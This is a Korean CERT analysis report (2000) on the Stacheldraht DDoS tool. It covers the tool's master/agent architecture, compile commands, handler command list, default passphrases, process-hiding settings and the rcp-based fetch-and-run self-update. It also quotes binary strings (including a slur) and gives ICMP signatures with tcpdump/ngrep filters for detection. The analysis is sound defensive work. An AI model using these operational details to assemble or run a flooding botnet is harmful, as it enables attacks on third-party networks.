강좌

HOME > 강좌 >
강좌| 리눅스 및 오픈소스에 관련된 강좌를 보실 수 있습니다.
 
Stacheldraht에 의한 서비스 거부공격
조회 : 2,968  


Stacheldraht에 의한 서비스 거부공격
분석 보고서

2000. 2.25
updated 2000. 6. 27

한국정보보호센터 침해사고대응팀

조용상 meteor@kisa.or.kr

I. 서론

1. 서비스 거부 공격(Denial of Service Attack)

서비스 거부 공격이라 함은 일반적으로  공격자의 컴퓨터로부터  표적 시스템과 그 시스템이 속한 네트웍에 과다한 데이터를 보냄으로써 시스템과 네트웍의 성능을 급격히 저하시켜 표적 시스템에서 제공하는 서비스들을  인터넷 사용자들이 이용하지 못하도록 하게 하는 기법을 말한다.
(이하 DoS공격이라 한다.)

2. 분산 서비스 거부 공격 (Distributed Denial of Service Attack)

분산 서비스 거부 공격이라 함은 많은 수의 호스트들에 패킷을 범람시킬수 있는 DoS공격용 프로그램들이 분산 설치되어 이들이 서로 통합된 형태로 어느 목표 시스템(네트웍)에 대하여 일제히 데이터 패킷을 범람시켜서 그 표적 시스템(네트웍)의 성능저하 및 시스템 마비를 일으키는 기법을 말한다. (이하 DDoS공격이라 한다.)

3. DDoS공격에 의한 피해사례

이러한 DoS공격은 TCP SYN flooding공격,  UDP flooding공격, ICMP echo requesting공격, ICMP broadcasting 공격(Smurf공격) 등의 형태로 나타나며, 이러한 공격을 수행하기 위해서 다양한 tool이 제작되었다.  그중 최근에 문제가 되는 것은 최근 (2000년 2월) 미국 yahoo 등의 주요 인터넷 site를 수 시간 동안 작동불등 상태로 빠뜨린 사건으로서,  전문가들은 이를 분산서비스 거부 공격 방법에 의한 사건으로 보고, 이 사건에 사용된 DoS tool이 TFN2000 (TFN2K) 과 Stacheldraht라는 신종 tool로 보고 있다.  따라서 이번 분석 보고서는 Stacheldraht라는 신종 DDoS 공격 툴을 집중 분석한다.

4. Stacheldraht를 비롯한 DDoS 툴의 출현 시기

1999년 6월  미국에서 2000여개의 해킹당한 시스템에 trinOO 가 출현.
1999년 8월  trinOO와 유사한 TFN(Tribed Flood Network)이 Mixter라는 이름의 인물에 의해 개발됨.
1999년 10월 TFN의 발전된 버전인 Stacheldraht라는 새로운 DDoS툴이 미국 유럽의 해킹당한 시스템에서 출현됨
1999년 12월 역시 TFN의 발전된 형태인 TFN2K출현.

5. 용어

  • stacheldraht는 독일어로 철조망 이란 의미이다.
  • attacker라 함은   DDoS공격을 하는 사람을 뜻하며
  • attack시스템이란  DDoS공격을 위한  master시스템에  접속하기 위한   attacker가  사용하는 (아마도 attacker자신의) 시스템을 말하며,
  • master시스템이란  attack시스템으로부터 접속을 허용하여  attacker로부터 명령어를 입력받아  agent시스템에 그 명령을 전달하는데 이용당하는 시스템을 말하며,
  • handler프로그램은 master시스템에서  위와 같은 역할을 수행하는 프로그램을 말하며 client프로그램이라고도 한다.
  • agent시스템이란 master시스템으로부터 공격 명령을 받아  표적 시스템/네트웍을 향해 다량의 데이터 패킷을 쏟아붓는데 이용당하는 시스템이며,
  • daemon프로그램이란 agent시스템에서 위와같은 역할을 수행하는 프로그램을 말한다.


II. Stacheldraht의 구성과 특징

stacheldraht는 이것의 모태에 해당하는 trinoo와 TFN이 갖고 있는 특성을 거의 유지하면서  공격자 시스템/ stacheldraht의 master시스템 / 자동적으로 업 데이트되는 agent daemon과의 사이의 통신에    암호화기능이 추가된 것이다.

1. 소스 코드의 구성

전작인 trinoo나 TFN처럼 stacheldraht도 client(handler)와 daemon프로그램으로 구성된다,
다음은 stacheldraht의 소스코드를 구성하고 있는 파일들과   실행코드로의 컴파일 과정이다.
 

[cert] /stacheldrahtV4> ls -al
         /*  master 시스템에서 사용할 프로그램 */
drwxr-xr-x   4 root         512 Jan 11 09:39 .
drwxr-xr-x   7 root        512 Feb 17 19:22 ..
-rw-r--r--   1 root        167 Sep 16 09:21 Makefile
-rw-r--r--   1 root      13232 Aug 25 13:26 bf_tab.h
-rw-r--r--   1 root       6597 Aug 25 13:26 blowfish.c
-rw-r--r--   1 root       1291 Aug 25 13:26 blowfish.h
-rw-r--r--   1 root       1276 Feb  5 23:36 config.h
drwxr-xr-x   2 root        512 Oct 17 16:14 leaf
-rw-r--r--   1 root      39655 Feb  6 00:18 mserv.c
drwxr-xr-x   2 root        512 Oct 17 16:16 telnetc
-rw-r--r--   1 root       3089 Aug 25 13:26 tubby.h

[cert] /stacheldrahtV4> ls -al leaf
         /* agent시스템에서 사용할 프로그램 */
drwxr-xr-x   2 root        512 Oct 17 16:14 .
drwxr-xr-x   4 root        512 Jan 11 09:39 ..
-rw-r--r--   1 root        274 Aug 18  1999 Makefile
-rw-r--r--   1 root      13232 Aug 16  1999 bf_tab.h
-rw-r--r--   1 root       5547 Aug 16  1999 blowfish.c
-rw-r--r--   1 root       1291 Aug 16  1999 blowfish.h
-rw-r--r--   1 root       1223 Feb  6 00:20 config.h
-rw-r--r--   1 root        593 Aug 16  1999 config.h.in
-rw-r--r--   1 root       2898 Sep  2 14:42 control.h
-rw-r--r--   1 root       2336 Aug 22 15:00 icmp.c
-rw-r--r--   1 root       2283 Sep  2 14:48 syn.c
-rw-r--r--   1 root      13800 Feb  6 00:23 td.c
-rw-r--r--   1 root       2951 Sep  2 14:19 tubby.h
-rw-r--r--   1 root       1323 Sep  2 11:26 udp.c

[cert] /stacheldrahtV4> ls -al telnetc
          /* attack  시스템에서 사용할 프로그램 */
drwxr-xr-x   2 root        512 Oct 17 16:16 .
drwxr-xr-x   4 root        512 Feb 17 20:24 ..
-rw-r--r--   1 root        169 Aug 13  1999 Makefile
-rw-r--r--   1 root      13232 Aug 13  1999 bf_tab.h
-rw-r--r--   1 root       6597 Aug 13  1999 blowfish.c
-rw-r--r--   1 root       1291 Aug 13  1999 blowfish.h
-rw-r--r--   1 root       4468 Feb  6 00:20 client.c

                            /* 컴파일 과정 */

[master] /stacheldrahtV4> gcc -lcrypt mserv.c
blowfish.c -o mserv -lnsl -lsocket -DWORDS_BIGENDIAN

[master] /stacheldrahtV4> ls -al mserv
-rwxr-xr-x   1 root      67056 Feb 17 20:46 mserv
                 /* master 시스템에서                        */
                 /* client(handler)프로그램을 컴파일  */
 

[agent] /leaf> gcc -O6 -fomit-frame-pointer -s td.c blowfish.c -DSOLARIS -o td -O6 -lnsl -lsocket

[agent] /leaf> ls -al td
-rwxr-xr-x   1 root      29680 Feb 17 20:47 td
               /* agent 시스템에서                        */
               /* daemon프로그램을 컴파일          */
 
 

[attack] /telnetc> gcc -lcrypt client.c blowfish.c -o 
client -lnsl -lsocket -DWORDS_BIGENDIAN

[attack] /telnetc> ls -al client
-rwxr-xr-x   1 root      29108 Feb 17 20:48 client
                /* attack 시스템에서                        */
                 /* master시스템과의 암호통신용      */
                 /* 프로그램을 컴파일                       */

(한국정보보호센터에서 분석한 이 소스코드는 외국의 해킹사고 조사과정에서 발견된 것으로서, 1999년 8월 - 10월 사이에 코딩된 것으로 추정되며  이 이후에 새로운 버전이 출현했을 가능성도 배제할수 없다.)

한가지 유념할 것은, 침입자가 source code를 수정하였을 경우에는  이 분석 리포드에서 사용된 prompt나 password, command, TCP/UDP port number, 공격 기능, signature, 기타의 특징들이 얼마든지 변형될수 있다는 것을 미리 말해두는 바이다.

2. 추가된 코드

기존의 TFN의 약점이라면, attacker가 master시스템의 client(handler)프로그램에 command를 입력하기 위해서는  attack시스템으로부터 master시스템으로의 connection에 의해야 하는데, 이 connection에 의해 암호문이 아닌 평문으로 오가는 (atacker입장에서는 매우 중요한)데이터들이 (또다른 해커나 시스템 관리자에게) TCP session hijacking이나 RST sniping등의  일반적으로 알려진 TCP기반 취약점에 노출되어 있다.

Stacheldraht는 이 문제점을 극복하기 위하여, attack시스템에서 master시스템으로 통신을 위해   기존 유닉스의 telnet 비스무레한  암호화 통신 프로그램을 추가하였다.
위의 telnetc디렉토리에 있는 client.c라는 소스코드가 바로 그것이다.
(주의:  여기서 나온 telnetc/client.c라는 것은 그냥 단순한 파일이름으로서
용어 항목에서  정의한    master시스템의 client프로그램의 개념과 혼동하지 않기를 바란다.)
 

3. Platform

Stacheldraht의 daemon프로그램은 주로 Solaris2.x로(에서) 그 실행코드가 발견되고 있다.
이는 Solaris2.x의 rpc.statd, rpc.cmsd, rpc.ttdbserved등의 RPC서비스의 버퍼 오버플로우 버그에 의해 해킹당한후  attacker에 의해 agent나 master시스템으로 이용당하기 때문이다.

그러나 소스코드의 Makefile의 rule은  solaris와  linux에 대한 rule을 모두 정의하고 있기 때문에
이 두가지 OS를 탑재한 시스템이 해킹당한 경우  master나 agent로 이용당할 가능성이 크다고 할수있다.
 

4. DDoS 공격 기능

stacheldraht는 TFN이나 TFN2K처럼  ICMP flood, SYN flood, UDP flood와「Smurf」등의 공격에 의해서 DDoS공격을 할수 있는 기능을 가지고 있다.

이 공격은 크게 다음의 단계를 거친다고 볼수 있다.

  • intrusion 및  client(handler), daemon프로그램 설치 단계
    이 단계는 전통적인 의미의 해킹으로서  master와 agent로 이용할 수백 내지 수천개의 시스템에 침입하여 root권한을 획득한 후  그곳에 client와 daemon프로그램을 심어놓는 것이다. 이 작업을 위해서는  단시간내  많은 시스템을 연달아 remote해킹할 수 있는 자동화된 최신 해킹툴이 이용된다.
  • DDoS공격 단계
    attack시스템에서 master시스템과의 암호통신용 프로그램을 실행시켜서  master를 통해 agent시스템의 daemon으로 하여금  표적 시스템/네트웍에  DDoS공격을 한다.


5. Stacheldraht 공격의 논리적 계통도  (이른바 stacheldraht network)

application관점 :
          통신 프로그램   -->   handler(client)   -->
                               daemon         -->   victim's TCP, UDP, ICMP

호스트 관점 :
               attack host  -->   master(s) host   -->
                               agent(s) host  -->    victim(s) host

stacheldraht network은  1개 또는 그 이상의 handler(client) 프로그램 (mserv.c)과, daemon 프로그램(leaf/td.c)들의 집합으로 구성된다.  공격자는 telnet 비스무레한 암호화프로그램(telnetc/client.c)를 사용하여, handler(client) 에 접속해 통신한다.

<그림  stacheldraht network>

 

attacker는 encryption기능을 제공하는 telnet비스무레한 통신프로그램을 사용하여  1개 또는 다수의 handler(client)를 제어한다. 각 handler(client)는 많은 (agent 시스템에 있는) daemon을 제어할 수 있다.

하나의 handler(client)프로그램에 제어할 수 있는 daemon들의 갯수는 기본적으로 1000개이다.
 

master% cat mserv.c
......
......
 /* 1000 sockets are leet0 */
 struct sockies s[1000];
 /* 1000 structures are needed for connect */
 struct sockaddr_in connectstruct[1000];
......
......

 

6. 통신

stacheldraht network의 제어는, 명령을 내리는 attacker자신과   handler(client)프로그램 와의 사이의 통신에  대칭키 암호 방식을 사용하는 간단한 프로그램을 통해 이루어된다. 이 통신용 프로그램(telnetc/client.c)는 master의  IP address 를  arguement로 받아 실행된다.
이 경우 master시스템의 16660/TCP port를 통하여 통신이 이루어진다.

 

<참고 : DDoS공격 도구별  통신 특성>

          DDoS 공격도구                 통신 포트
                trinoo 1524 tcp, 27665 tcp, 27444 tcp, 31335 udp 사용
                TFN ICMP ECHO, ICMP ECHO REPLY 사용
            Stacheldraht 16660 tcp, 65000 tcp, ICMP ECHO, ICMP ECHO REPLY 사용
              TFN2000 통신에 특정 포트가 사용되지는 않고 UDP, ICMP, TCP 등이 복합적으로 사용된다. 아마도 실행시에 포트번호가 정해지거나 프로그램에 의해 임의의 포트가 선택되어 진다.

trinoo는 핸들러와 대리인간의 통신에UDP를 사용하고, 오리지날의TribeFloodNetwork는ICMP를
 사용하지만, 그것 과는 달리stacheldraht는TCP를 사용하고 있다.

다음 예에서는  111.222.111.222의 IP address를 갖는 master 시스템에 접속하기 위해 attack시스템에서 attack가 통신프로그램을 실행하는 예이다.
 

[attack] ./client 111.222.111.222
     [*] stacheldraht [*] 
  (c) in 1999 by ...

 trying to connect...
 connection established.
 --------------------------------------
 enter the passphrase : sicken        /* handler실행을 위한 암호 */
 --------------------------------------
 entering interactive session.
 ******************************
    welcome to stacheldraht 
 ******************************
 type .help if you are lame

 stacheldraht(status: a!7 d!2)>

master시스템에 접속에 성공한 후  handler(client)프로그램의 prompt에는 현재 이 handler(client) 프로그램에 기존에 등록되어 있었던  agent중에서  현재 제어할 수 있는 active agent의 갯수가 표시(a!7  : 현재 7개)되며, 또한 제어할 수 없는 agent의 갯수 (d!2 : 현재 2개) 가  동시에 표시된다.

.help 명령을 통해서는  현재 handler프로그램에서 사용할 수 있는 명령어의 리스트를 볼수 있다.
 

stacheldraht(status: a!7 d!2)>.help
 available commands in this version are:
 --------------------------------------------------
 .mtimer .mudp .micmp .msyn .msort .mping
 .madd .mlist .msadd .msrem .distro .help
 .setusize .setisize .mdie .sprange .mstop .killall
 .showdead .showalive
 --------------------------------------------------
 stacheldraht(status: a!7 d!2)>

7.  handler프로그램의 command의 의미

이 문서는 해킹을 위한 메뉴얼이 아니므로  자세한 사용법은 생략하고  어떠한 기능이 있는지 간단히 명령어의 의미만 살펴보도록 하겠다.

  • .distro bjhan new.program.server
    유닉스의 rcp 명령을 이용하여 new.program.server 라는 시스템에 bjhan이란 login name을 사용하여 들어가서  새 (아마도 update된) daemon프로그램을  현재 daemon이 실행중인 agent시스템에 복사해오라는  명령이다.    (self-updating기능)
  • .help
    명령어 리스트를 보여주는 명령.
  • .killall
    현재 제어 가능한  active agent daemon들을 kill한다.
  • .madd  ip1  [:ip2  [:ipN] ]
    표적 시스템 리스트에  해당 IP address를 추가한다.
  • .mdie
    모든 agent daemon들에게 die request를 보낸다.
  • .mdos
    DoS공격을 개시한다.
  • .micmp  ip1 [ :ip2 [:ipN] ]
    ICMP flood공격을 지정 IP에 대해 개시한다.
  • .mlist
    현재 이루어지고있는 DoS공격의 표적 시스템 IP address 를 모두 보여준다.
  • .mping
    모든 alive agent들에 대하여 ping test를 한다.
  • .msadd
    이용가능한 master의 리스트에 새로운 master를 추가한다.
  • .msort
    ping을 이용하여 dead/alive agent (bcasts)를 카운트하고 비율을 보여주며, dead/alive agent를 sort하여 보여준다.
  • .mstop ip1 [:ip2 [:ipN] ]
  • .mstopall
    현재 공격 진행중인  지정 IP address, 또는 모든 IP address로의 공격을 멈춘다.
  • .msrem
    이용가능한 master 리스트로부터  master 를 삭제한다.
  • .msyn ip1 [:ip2 [:ipN] ]
    SYN flood 공격 을 지정한 IP에 대해 개시한다.
  • .mtimer seconds
    얼마나 오랫동안 공격 계속할 것인가를 설정한다.
  • .mudp ip1 [:ip2 [:ipN] ]
    trinOO처럼 UDPflood 공격을 지정한 IP에 대해 개시한다.
  • .setisize
    flooding 에 사용될  ICMP패킷의 사이즈를 설정한다. (MAX= 1024,  default)
  • .setusize
    flooding 에 사용될 UDP패킷의 사이즈를 설정한다. (MAX= 1024, default)
  • .showalive
    현재의 alive agent들을 보여준다.
  • .showdead
    현재의 dead agent들을 보여준다.
  • .sprange lowport-highport
    SYN flood 공격 표적의 port number 범위를 설정한다. ( default 0-140)
8. password 은닉

attack시스템 --> master시스템 간의 연결을 위한  통신 프로그램(telnetc/client.c)을 사용하여  handler(client)프로그램에 접속하자 마자, handler프로그램은 현재 접속자가  자신을 master시스템에 설치해준 attacker인지 여부를 확인하기 위해 (설치한 사람이 handler프로그램 compile당시 집어넣은) password 입력을 요구한다.

이때 입력되는 password(default는 sicken) 는,  network을 통해 master시스템의 handler에게 전해지기 전에 "authentication" 이라는  passphrase를 사용하여  encrypt된 상태로 보내어 진다.
 

9. 프로그램 은닉

TFN처럼 config.h에서는  ps명령어 등으로부터 프로그램 이름을 감추기 위한  여러가지 설정들을 제공하고 있다.
다음은 config.h 파일의 한 예이다.
 

#ifndef _CONFIG_H

 /* user defined values for the teletubby flood network */

 #define HIDEME "(kswapd)"
 #define HIDEKIDS "httpd"
......
......

trinoo와TFN과 같이  master나 agent로 이용하기 위해 해킹한 시스템에서 handler(client)/daemon 프로그램을  인스톨할 때에는 hidden directory나  rootkit, 커널모듈변경 등의 방법을 사용하여 프로그램이 발견되지 않도록 감추는 것이 보통이다.

10. agent daemon의  self-upgrading기능

이 기능은  rcp명령어(514/tcp)를 사용하여 agent daemon을 self-upgrade할수 있게 하는 기능이다.  일단 attack는  다른 제3의  시스템의 계정을 하나 알아내어  그곳에  upgrade용  agent daemon프로그램을 갖다놓은 후   agent daemon으로 하여금 rcp명령어를 사용하여 그 프로그램 파일을 복사해와서 현재 실행되고 있는 out-of-date한 agent daemon실행파일을  덮어쓴 후 nohup 옵션을 사용하여  새로운 daemon을 실행하게 할 수 있다.   nohup 을 붙여서 실행한다는 거은 해당 process를  SIGHUP이나 SIGQUIT 시그널을 무시하고 계속 실행 상태로 만드는 것을 의미한다,
 

III. stachedraht 프로그램 여부의 확인

일반적으로 대부분의 binary파일들은  파일이 어떤 것인지를 조금은 짐작할 수 있는 string을  가지고 있다.  이런한 string들은  유닉스에서 strings명령어를 통해 볼수 있다.

attack시스템에서 master시스템으로의 통신에 사용되는 telnetc/client.c 을  컴파일한 binary파일 client는 다음과 같은 string을 가지고 있다.
 

[cert] /stacheldrahtV4/telnetc> strings client 
connection closed.
usage: client <ip/host>
    [*] stacheldraht [*] 
 (c) in 1999 by randomizer
trying to connect...
unable to resolv %s
unable to connect.
connection established.
--------------------------------------
enter the passphrase : 
authentication
failed
authentication failed.
entering interactive session.
./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
huhu
psD
........(이하 생략)

master시스템에 설치되는 handler(client)프로그램인 mserv.c 를 컴파일한  binary파일 mserv의 경우는 다음과 같다.
[cert] /stacheldrahtV4> strings mserv
%d.%d.%d.%d
dRFWfIGlF0zrE
* mtimer reached *
.quit
exiting...
you need to stop the packet action first.
.help
.version
[*]stacheldraht[*] mserver version: 4.0
setusize
......
......
showalive
add some bcasts mofo.
killing all active childs...
usage: .sprange <lowport-highport>
example: .sprange 0-140
 low port is : %i
high port is : %i
request was sent to the network.
usage: .setusize <udp packet size (<=1024)>
current udp packet size is %ibytes
udp packet size was set to %i bytes.
udp packet size is too large.
usage: .setisize <icmp packet size (<=1024)>
current icmp packet size is %ibytes
icmp packet size was set to %i bytes.
icmp packet size is too large.
sending mass die request...
finished.
.mudp
starting trinoo emulation...
removing useful commands.
- DONE -
available commands in this version are:
--------------------------------------------------
.mtimer   .mudp     .micmp .msyn    .msort  .mping
.madd     .mlist    .msadd .msrem   .distro .help
.setusize .setisize .mdie  .sprange .mstop  .killall
.showdead .showalive
usage: .distro <user> <server that runs rcp>
remember  : the distro files need to be executable!
that means: chmod +x linux.bin , chmod +x sol.bin ;))
sending distro request to all bcasts....
      user : %s
rcp server :
unable to resolve - %s
unable to send distro request.
request was sent, wait some minutes ;)
usage: .msrem <masterserver>
removing masterserver -
failed.
usage: .msadd <masterserver>
adding masterserver -
no packet action at the moment, sir.
the followings ip(s) are getting packeted...
--------------------------------------------
[*] stacheldraht [*] is packeting %d ips
[*] stacheldraht [*] is packeting 1 ip
.mstop all
deleting from packetlist...
%s - removed.
%s - skipped.
restarting packeting routines...
niggahbitch
usage: .madd <ip1:ip2:ip3:ip4>
adding to packetlist...
%s - added.
usage: .mtimer <seconds to packet>
packet timer was set to %d seconds
usage: .mstop <all> or <ip1:ip2:ip3:ip4:ip5 etc..>
packeting stopped.
usage: .msyn <ip1:ip2:ip3:ip4:ip5 etc..>
the net is already packeting.
mass syn flooding
%i floodrequests were sent to %i bcasts.
usage: .micmp <ip1:ip2:ip3:ip4:ip5 etc..>
mass icmp bombing
usage: .mudp <ip1:ip2:ip3:ip4:ip5 etc..>
mass udp bombing
tR1n00(status: a!%i d!%i)>
stacheldraht(status: a!%i d!%i)>
waiting for ping replies...
total bcasts : %d   - 100%
alive bcasts : 0   - 0%
alive bcasts : %d   -  %d%
dead bcasts  : %d   - %d%
showing the alive bcasts...
---------------------------
alive bcasts: %i
showing the dead bcasts...
--------------------------
dead bcasts: %i
sorting out all the dead bcasts
-------------------------------
%d dead bcasts were sorted out.
[*]-stacheldraht-[*] - forking in the background...
%i bcasts were successfully read in.
3.3.3.3
spoofworks
ficken
authentication
failed
******************************
   welcome to stacheldraht
type .help if you are lame
./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
huhu
[0;35mTribe Flood Network (c) 1999 by
[5mMixter
psD

agent시스템에 설치되는 daemon프로그램인 td.c 를 컴파일한  binary파일 td의 경우는 다음과 같다.
 

[cert] /stacheldrahtV4/leaf> strings td 
%d.%d.%d.%d
ICMP
Error sending syn packet.
tc: unknown host
3.3.3.3
randomsucks
skillz
rm -rf %s
init
rcp %s@%s:sol.bin %s
nohup ./%s
111.222.111.222                   /* master시스템의 IP address */
224.0.0.3
nfsiod
sicken
./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
psD
......
이하 생략

각각의 agent에서 daemon이 실행될때에는, 어디에 있는 master시스템의 handler(client) 프로그램으로부터 지휘를 받아야 할지를  알아야 한다.  이것은 agent daemon을 컴파일 하기 전에 td.c 소스코드에서 정의한다.   여기서 설정된 IP주소가  위의 binary파일의 string에 들어가 있음을 볼수있다.

/* default masterservers */
#define MSERVER1 "111.222.111.222"
#define MSERVER2 "224.0.0.3"

agent daemon이 자신을 지휘할 handler들의 list가 결정되면  agent damon은 자신을 지휘할 handler들에게 ID필드 "666",  데이터 필드에 "skillz" 이 포함된 ICMP ECHO_REPLY패킷을 보낸다.
handler가 패킷을 받은 경우는, ID필드 667, 데이터 필드에 "ficken"이 포함된 ICMP ECHO_REPLY 패킷을 다시 보내준다.

 
이처럼 handler와 agent daemon은 주기적으로  666+skillz  / 667+ficken의 패킷을 보내고 받으면서 서로의 존재를 확인하게 되는데, 이것은  네트웍의 ICMP패킷을 계속 모니터함으로서 master/agent 존재를 찾아낼수 있는 방법의 하나가 될수 있다.
 

IV. stacheldraht 검출을 위한  network 모니터링

1. sniffit를 사용한 ICMP packet 검출

DDoS 분석용  네트웍 감시 tool인  sniffit (http://sniffit.rug.ac.be/sniffit/sniffit.html)를 이용하여 master와 agent사이에 오가는 ICMP packet을 검출한 결과는 다음과 같다.
여기서 100.1.1.1은 agent의 IP address,  111.222.111.222는 master의 IP address를 의미한다.
 

 ICMP message id: 100.1.1.1 > 111.222.111.222          /* agent -> master */
   ICMP type: Echo reply
  45 E 00 . 04 . 14 . 01 . 0F . 00 . 00 . 40 @ 01 . E9 . 53 S 0A . 00 . 00 . 01 .
  C0 . A6 . 00 . 01 . 00 . 00 . B4 . 13 . 02 . 9A . 00 . 00 . 00 . 00 . 00 . 00 .
  00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
  73 s 6B k 69 i 6C l 6C l 7A z 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
  00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
  . . . [60 lines of zeros deleted]
  00 . 00 . 00 . 00 .

 ICMP message id: 111.222.111.222 > 100.1.1.1            /* master -> agent */
   ICMP type: Echo reply
  45 E 00 . 04 . 14 . 04 . F8 . 00 . 00 . 40 @ 01 . E5 . 6A j C0 . A6 . 00 . 01 .
  0A . 00 . 00 . 01 . 00 . 00 . CE . 21 ! 02 . 9B . 00 . 00 . 00 . 00 . 00 . 00 .
  00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
  66 f 69 i 63 c 6B k 65 e 6E n 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
  00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
  . . . [60 lines of zeros deleted]
  00 . 00 . 00 . 00 .

2. ngrep을 사용한 ICMP packet검출

일부 vendor의 UNIX시스템(ex: Digital UNIX)의 경우에는 tcpdump와 비슷한 기능을 하는 ngrep이라는 유틸리티를 지원해 주는데  이 ngrep의 출력결과는 다음과 같다.
 

 # ngrep -x "*" icmp
 interface: eth0 (0.0.0.0/0.0.0.0)
 filter: ip and ( icmp )
 Kernel filter, protocol ALL, raw packet socket
 match: *
 #
 I 100.1.1.1 -> 111.222.111.222 0:0                               /* agent -> master  */
   02 9a 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
   00 00 00 00 00 00 00 00    73 6b 69 6c 6c 7a 00 00    ........skillz..
 [ 61 lines of zeroes deleted ]
   00 00 00 00 00 00 00 00    00 00 00 00                ............ 
 #
 I 111.222.111.222 -> 100.1.1.1 0:0                              /* master -> agent */
   02 9b 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
   00 00 00 00 00 00 00 00    66 69 63 6b 65 6e 00 00    ........ficken..
 [ 61 lines of zeroes deleted ]
   00 00 00 00 00 00 00 00    00 00 00 00                ............ 
 #

3. agent - master간  agent시스템 IPaddress 위조 테스트 패킷  모니터링

 

agent daemon이 실제로 표적 시스템/네트웍에 DDoS공격을 실행할 경우에는 표적 시스템쪽에서 agent의 IP를 추적하지 못하도록  source address를 위장한 데이터로 공격을 함이 보통이다.  그런데 어떤 네트웍의 라우터에서는 source address가 위장된 패킷은 바깥으로 나가지 못하도록 설정되어 있는 경우가 있다.

그래서 agent daemon은  active handler(client)를 찾는 것 외에도,   현재 agent가 속해있는 network에서 위조된 source address를 가지는 packet이 network 바깥으로 나갈수 있는지는 테스트한다.

agent daemon은  IP header부분에 위조된 source IP address(ex: 7.7.7.7), ICMP  ID 필드에 "666" , 그리고 데이터 필드에  agent의 IP address를 포함하는 ICMP ECHO request packet을  master시스템의  handler에게 보낸다.

보통 ICMP 패킷의 헤더 부분에는 ICMP 메시지의 종류를 구분하기 위해 type 라는 영역이 있는데  이 영역에는  0,3,4,5,8,9,10,11,12,13,14,15,16,17,18만이 들어갈 수 있다.   (참고로 ICMP ECHOREPLY의 경우에는 type이 0 이며,  ICMP ECHO request의 경우에는 type 8이다.)  그런데 agent daemon이 master로 보내는 source address 위조 테스트 패킷에는  이 ICMP 헤더의  type영역에 7이 들어가게 됨이 특징이다.

master시스템의 handler가 이 패킷을 수신하게 되면   handler는 다시 ICMP ECHOREPLY packet으로 테스트가 성공적이라는 답신을 보내게 된다.  이 패킷은 ID 필드에는 1000, 데이터 필드에는  "spoofworks"  라는 문자열이 포함하여   agent daemon이 보낸 테스트 패킷의 데이터필드에 들어있는 진짜 agent IP address로 보내어 진다.  agent daemon이 이 답신을 받게되면 agent daemon은 spoof_level을 0으로 설정한다.
spoof_level 0이란  IP주소를 표현하는 32비트중  32비트 모두를  위조 가능한 레벨이다.

만일 agent 시스템이 속해있는 네트웍의 라우터가  source address위조 패킷이 바깥으로 나가는 것을 금하는 outgoing 필터링 기능이 설치되어 있는 경우에는 agent daemon은  master시스템의 handler로부터 답신을 받지 못하게 되고  이렇게 일정한 시간이 경과되면  agent daemon은  source address위조가 불가능한 것으로 판단하여 spoof_level을 3으로 설정하게 된다.
spoof_level 3이란  IP주소 32비트 중  가장 뒤에 있는 8비트만 위조 가능한 레벨이다.  ( agent 시스템이 속해있는 네트웍 라우터의 outgoing 필터링을 통과할수 있도록.)

이러한 과정의 패킷 이동을 tcpdump와  ngrep으로 보게되면 다음과 같다.
 

# tcpdump icmp
  . . .
 14:15:35.151061 7.7.7.7 > 111.222.111.222 : icmp: echo request [tos 0x7]
 14:15:35.177216 111.222.111.222 > 100.1.1.1: icmp: echo reply
  . . .

 # ngrep -x "*" icmp
 interface: eth0 (0.0.0.0/0.0.0.0)
 filter: ip and ( icmp )
 Kernel filter, protocol ALL, raw packet socket
 match: *
 #
 I 7.7.7.7 -> 111.222.111.222 8:0
   00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
   00 00 00 00 00 00 00 00    31 30 2e 30 2e 30 2e 31    ........100.1.1.1
   00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
   00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
   00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
   00 00 00 00 00 00 00 00                               ........ 
 #
 I 111.222.111.222 -> 100.1.1.1 0:0
   03 e8 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
   00 00 00 00 00 00 00 00    73 70 6f 6f 66 77 6f 72    ........spoofwor
   6b 73 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ks..............
 [ 60 lines of zeroes deleted ]
   00 00 00 00 00 00 00 00    00 00 00 00                ............ 
 #

4. master-agent간 ICMP 패킷 통신을 검출해 내기 위한 일반적인 방법

이제까지 살펴보았듯이 master시스템의 handler와  agent daemon은 서로 어떤 특정한 통신을 하기 위하여 암호화되지 않은 상태의 ICMP 패킷을 주고받는다.  그경우 ICMP 패킷을 보면,

ID : 666,  데이터 필드 :  skillz                          agent --> master
ID : 667,  데이터 필드 :  ficken                        agent <-- master
ID : 666,  데이터 필드 :  위조된 소스IP주소        agent --> master
ID : 1000, 데이터 필드 :  spoofworks                 agent <-- master
ID : 668,  데이터 필드 :  gesundheit!                 agent --> master     /* ID test */
ID : 669,  데이터 필드 :  sicken                     agent <-- master     /* ID test */
기타       데이터 필드 :  niggahbitch

등의  ID필드와  데이터필드를 가진다.
따라서 tcpdump나 tcpshow같은 네트웍 모니터링 툴을 이용하여  agent-master간 통신을 감시하여 agent daemon이나 master handler(client)프로그램이 깔려있는 시스템을 찾아낼 수 있다.

가령  ID 669 이고  데이터 필드 sicken 인   ICMP패킷을 잡아서  master의 IP주소를 찾아내기 위해서는 다음과 같이 한다.
 

# tcpdump -s 1500 -w stach.dump 'icmp[4:2] = 669'
# tcpshow < stach.dump | egrep "Source IP|sicken"
tcpdump: Filtering in user process
        Source IP Address:              111.222.111.222
        ....................sicken

